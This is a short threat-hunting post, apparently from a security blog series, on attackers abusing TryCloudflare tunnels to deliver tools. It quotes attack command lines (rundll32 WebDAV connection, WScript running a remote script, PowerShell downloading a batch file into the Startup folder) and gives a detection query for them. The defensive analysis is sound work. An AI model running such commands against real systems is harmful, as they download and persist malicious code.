368. Hunting for TryCloudflare Abuse

Hello everyone!

As you know, attackers often abuse various legitimate web services - for example, to exfiltrate data or to download tools. Today we’ll look at another such service, TryCloudflare, and examine how attackers use it in the context of the Ingress Tool Transfer (T1105) technique.

So, TryCloudflare makes it possible to expose a local service to the Internet, with access provided via a Cloudflare-generated domain, for example:

plus-condos-thy-redeem.trycloudflare[.]com

Let’s look at a recent example demonstrating abuse of this service. First, the attackers initiate a connection to the server:

rundll32.exe C:\WINDOWS\system32\davclnt.dll,DavSetCookie plus-condos-thy-redeem.trycloudflare[.]com@SSL https://plus-condos-thy-redeem.trycloudflare[.]com/

Second, they download malicious scripts:

"C:\WINDOWS\System32\WScript.exe" "\\plus-condos-thy-redeem.trycloudflare[.]com@SSL\DavWWWRoot\as.wsh"

powershell -Command "iwr 'https://plus-condos-thy-redeem.trycloudflare[.]com/ahke.bat' -OutFile 'C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ahke.bat'"

If this service is not used in your IT infrastructure, you can simply block access to the trycloudflare[.]com domain. If it is occasionally required, pay attention to the legitimacy of communications with such subdomains, as well as to their presence among the command-line parameters of system utilities commonly abused by attackers, for example:

event_type: "processcreatewin"

AND

proc_file_path: ("rundll32.exe" OR "wscript.exe" OR "powershell.exe")

AND

cmdline: *trycloudflare*

See you soon!

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